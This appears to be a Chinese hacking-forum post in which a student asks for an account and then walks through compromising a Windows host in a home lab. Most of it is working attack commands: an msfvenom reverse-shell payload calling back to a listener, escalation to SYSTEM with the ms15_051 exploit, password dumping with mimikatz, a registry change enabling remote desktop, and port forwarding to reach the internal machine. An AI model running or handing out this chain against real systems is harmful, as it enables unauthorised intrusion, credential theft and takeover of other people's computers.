|
本人是一名在校学生，平时偶尔打撸，一直很坑，渴望得到各位大大的关爱，恳请管理大大们赐我一个登陆账号。
进入正题： 首先在本地生成一个马这里指定的是exe格式的，当然也可以其他格式代替。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.128 LPORT=4444 -f exe -o shell.exe
然后想搞到服务器上去。。。方法有很多，FTP传马，菜刀等，本地做实验就不演示了。 在kali上开启监听： service postgresql start msfconsole set payload windows/meterpreter/reverse_tcp set lhost 192.168.254.128 (这是我kali的IP地址) set lport 4444 exploit
然后我们尝试运行shell.exe方法有很多，调用cmd start shell.exe 监听到并返回了一个会话session 1
我们getuid看下权限
不是系统权限，那我们需要把他提升一下，方便后续操作。 我们先background一下下，选择一个溢出。 随便找个试试，常用的一般ms08067 ms15051等，那我们试试ms15051 Search ms15_051 Use exploit/windows/local/ms15_051_client_copy_image Set session 1(刚才的会话是session 1) Set lhost 192.168.254.128 Set lport 4444 Exploit
返回了一个新会话session 2 我们getuid
已经成功提升到SYSTEM
我们读取用户的登陆密码。 我们load mimikatz Wdigest一下 看看是不是出来了。我打你妈个香蕉皮，怎么才读出一个。。。。。。不管了。。。。=.= 接下来，我们拿到cmdshell，开启3389命令 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
应该已经开启了，接下来我们必须要转发一下端口，因为这台主机是内网环境的。 portfwd add -l 1234 -r 127.0.0.1 -p 3389连到我本地1234端口
Rdesktop 127.0.0.1 1234 用我们读到的帐密试试。
见证奇迹的时候。
天佑不测风云，我玩你妈蛇皮，我打你吗个冬瓜皮（55开）！！WTF!!有点乱有点乱，静下心来！！！ 在session 2 中得到cmdshell因为已经是system 所以，
好了见证奇迹的时候。 至于administrator的密码。。。。。。丢一个getpass进去看看
纯属自娱自乐，各位大咖见笑。
|